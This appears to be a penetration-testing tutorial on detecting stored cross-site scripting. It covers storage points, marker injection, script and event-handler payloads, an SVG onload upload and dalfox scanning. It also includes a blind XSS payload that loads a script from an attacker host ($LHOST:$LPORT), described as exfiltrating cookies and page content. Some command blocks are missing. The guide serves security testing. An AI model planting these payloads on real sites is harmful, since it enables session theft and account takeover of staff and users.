Stored XSS Checks
Stored XSS embeds a malicious script in the application's data store and executes it in the browser of every user who views the affected page. Unlike reflected XSS, it does not require a victim to click a crafted link: it fires automatically. Testing follows the same reflection-first approach as reflected XSS, but storage and retrieval must both be confirmed. Confirmed stored XSS moves to stored XSS exploitation.
Identify Storage Points
Any input that is saved and later displayed to other users is a stored XSS candidate. Common surfaces:
Comment and forum fields
Profile fields: name, bio, location, website
Support ticket and message systems
File upload names and metadata
Admin-visible fields in registration forms
Inject a Unique Marker
Use a unique string first to confirm the value is stored and later retrieved, before testing for HTML execution:
Explain command
| -sk | Suppresses progress output and skips TLS certificate validation. |
<p>STORED_XSS_MARKER_12345</p>
The marker appearing in the retrieved page confirms persistence. Now check the surrounding HTML context to determine the correct payload format.
Test HTML Injection and Script Execution
Replace the marker with an HTML payload and verify it survives encoding:
<p><script>alert(document.domain)</script></p>
The unencoded script tag in the retrieved response confirms stored XSS. Open the page in a browser to verify execution before escalating. If the response shows the encoded form <script> instead of the raw tag, the application is encoding output at render time.
Input Sanitization vs Output Encoding
These are two different defenses. Input sanitization strips or modifies dangerous content before storing it. Output encoding converts characters like < to < at render time. Applications that sanitize input but skip output encoding can still be vulnerable if the sanitization is incomplete or context-dependent. Try alternative tags like <img src=x onerror=alert(1)> or <svg/onload=alert(1)> to test whether a tag-based filter is comprehensive. An application that encodes output correctly is generally protected regardless of what it stores.
Profile Field Testing
Profile fields rendered for other users (name, website, bio) are often stored XSS vectors that affect admins viewing user lists:
File Upload as XSS Vector
File uploads introduce stored XSS vectors beyond text fields. If the application serves uploaded files from the same origin, a malicious file executes in the application's context.
SVG with Embedded JavaScript
SVG files support inline JavaScript via the onload event. Upload an SVG and navigate to the served file URL:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
<rect width="100" height="100"/>
</svg>
Save this as payload.svg and upload it through the application's file upload. If the server returns it with Content-Type: image/svg+xml, the script executes when the SVG is loaded directly in the browser.
HTML File Upload
If the application allows HTML file uploads and serves them from the same origin, the file runs as a full page in the application's context. Upload a minimal HTML page with a script tag and visit the served URL.
Filename-Based XSS
Some admin panels or file managers display uploaded filenames without encoding. Set the filename to a payload:
Check the admin file listing or any page that displays the filename to see if the payload renders unencoded.
Blind XSS
Some stored XSS payloads fire in contexts you cannot observe directly: admin panels, moderation queues, support ticket dashboards, log viewers, or internal tools. You never see the page where execution happens, so you cannot confirm it by loading the URL yourself.
Use an out-of-band callback to detect execution. The payload calls home to your server when it fires, proving execution and leaking the page context:
<script src="http://$LHOST:$LPORT/blind.js"></script>
Host a callback script on your server that exfiltrates the document URL, cookies, and DOM content when loaded. Services like XSS Hunter automate this with hosted payloads and a dashboard for reviewing callbacks. For manual testing, a Python HTTP server works:
Inject the callback payload into every input field you can reach: registration forms, support tickets, feedback forms, profile fields. Any field that might be viewed by internal staff is a candidate. A callback hit days later is still a valid finding.
Automated Scanning with dalfox
dalfox can scan stored XSS points when you point it at the input endpoint and provide the retrieval URL for verification. The --blind flag sets up an out-of-band callback for blind XSS detection:
Explain command
| --blind | Configures an out-of-band callback URL for blind XSS detection. |
| --cookie | Sends the session cookie with requests for authenticated scanning. |
References
-
PortSwigger: Stored XSSTOOL: PortSwigger: Stored XSS, portswigger.net/web-security/cross-site-scripting/stored (opens in new tab)
Stored XSS detection methodology and context analysis
-
XSS scanning tool with blind XSS callback support